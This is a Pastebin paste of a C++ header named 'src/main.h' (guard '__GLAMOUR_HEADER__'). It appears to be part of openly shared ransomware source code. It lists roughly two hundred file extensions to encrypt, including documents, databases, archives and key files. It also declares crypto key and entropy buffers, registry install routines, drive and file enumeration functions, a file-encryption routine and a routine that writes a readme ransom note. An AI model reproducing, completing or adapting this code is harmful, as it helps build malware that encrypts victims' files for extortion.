Advertisement
FlyFar

src/main.h

Mar 23rd, 2024
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.00 KB | Cybersecurity | 0 0
  1. #ifndef __GLAMOUR_HEADER__
  2. #define __GLAMOUR_HEADER__
  3.  
  4. #define DEBUG
  5.  
  6. #ifdef DEBUG
  7.     #include <stdio.h>
  8.     #include <stdlib.h>
  9. #endif
  10.  
  11. /* -- list of file extensions to encrypt -- */
  12. const char *extensions[] = {
  13.     ".12m", ".3ds",  ".3dx",  ".4ge", ".4gl", ".a86", ".abc",  ".acd",  ".ace",  ".act",
  14.     ".ada", ".adi",  ".aex",  ".af3", ".afd", ".ag4", ".aif",  ".aifc", ".aiff", ".ain",
  15.     ".aio", ".ais",  ".akf",  ".alv", ".amp", ".ans", ".apa",  ".apo",  ".app",  ".arc",
  16.     ".arh", ".arj",  ".arx",  ".asc", ".ask", ".asm", ".bak",  ".bas",  ".bcb",  ".bcp",
  17.     ".bdb", ".bib",  ".bpr",  ".bsa", ".btr", ".bup", ".bwb",  ".bz2",  ".c86",  ".cac",
  18.     ".cbl", ".cdb",  ".cdr",  ".cgi", ".cmd", ".cnt", ".cob",  ".col",  ".cpp",  ".cpt",
  19.     ".crp", ".cru",  ".csc",  ".css", ".csv", ".ctx", ".cvs",  ".cwb",  ".cwk",  ".cxe",
  20.     ".cxx", ".cyp",  ".db0",  ".db1", ".db2", ".db3", ".db4",  ".dba",  ".dbb",  ".dbc",
  21.     ".dbd", ".dbe",  ".dbf",  ".dbk", ".dbm", ".dbo", ".dbq",  ".dbt",  ".dbx",  ".dfm",
  22.     ".dic", ".dif",  ".djvu", ".dmd", ".doc", ".dok", ".dot",  ".dox",  ".dsc",  ".dwg",
  23.     ".dxf", ".dxr",  ".eps",  ".exp", ".fas", ".fax", ".fdb",  ".fla",  ".flb",  ".fox",
  24.     ".frm", ".frm",  ".frt",  ".frx", ".fsl", ".gif", ".gtd",  ".gzip", ".hjt",  ".hog",
  25.     ".hpp", ".htm",  ".html", ".htx", ".ice", ".icf", ".inc",  ".ish",  ".iso",  ".jad",
  26.     ".jar", ".java", ".jpeg", ".jpg", ".jsp", ".key", ".kwm",  ".lst",  ".lwp",  ".lzh",
  27.     ".lzs", ".lzw",  ".mak",  ".man", ".maq", ".mar", ".mbx",  ".mdb",  ".mdf",  ".mid",
  28.     ".myd", ".obj",  ".old",  ".p12", ".pak", ".pas", ".pdf",  ".pem",  ".pfx",  ".pgp",
  29.     ".php", ".php3", ".php4", ".pkr", ".pm3", ".pm4", ".pm5",  ".pm6",  ".png",  ".pps",
  30.     ".ppt", ".prf",  ".prx",  ".psd", ".pst", ".pwa", ".pwl",  ".pwm",  ".pwp",  ".pxl",
  31.     ".rar", ".res",  ".rle",  ".rmr", ".rnd", ".rtf", ".safe", ".sar",  ".skr",  ".sln",
  32.     ".sql", ".swf",  ".tar",  ".tbb", ".tex", ".tga", ".tgz",  ".tif",  ".tiff", ".txt",
  33.     ".wps", ".xcr",  ".xls",  ".xml", ".zip"
  34. };
  35.  
  36. /* -- global variables -- */
  37. BYTE   wincode[4];
  38. DWORD  win32  = 0;
  39. DWORD  tickCount = 0;
  40. HANDLE vfiles = INVALID_HANDLE_VALUE;
  41. HANDLE myProcessHeap = NULL;
  42.  
  43. /* -- crypto variables -- */
  44. BYTE ga = 0;
  45. BYTE gb = 0;
  46. BYTE key[256];
  47.  
  48. BYTE entropy[24] = {
  49.     0x30, 0x4F, 0x9D, 0x67, 0xBF, 0x05, 0xD6, 0x25, 0xC5, 0xF5, 0x12, 0x39,
  50.     0xB6, 0x60, 0xBE, 0x43, 0xB2, 0xFC, 0x4D, 0x0A, 0x8D, 0xC0, 0xC9, 0x87
  51. };
  52.  
  53.  
  54. /* -- install routines -- */
  55. DWORD WINAPI file_encrypt_thread(LPVOID none);
  56. void install_reg_wincode();
  57. void install_reg_win32();
  58.  
  59. /* -- file recursion routines -- */
  60. void enum_drives();
  61. void enum_files(char *path);
  62. void check_extension(char *filename);
  63.  
  64. /* -- file encryption routines -- */
  65. void do_main_file_work();
  66. void encrypt_file(char *filename);
  67. void write_readme_txt(char *fullpath);
  68.  
  69. /* -- utils -- */
  70. WCHAR *mb2wc(char *str, int len);
  71. CHAR  *wc2mb(WCHAR *str, int len);
  72. int GenRandomFillByte(int ival, int uival);
  73.  
  74. /* -- crypto -- */
  75. void init_buffer();
  76. BYTE encode(BYTE x);
  77. void process_byte(BYTE x);
  78.  
  79. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement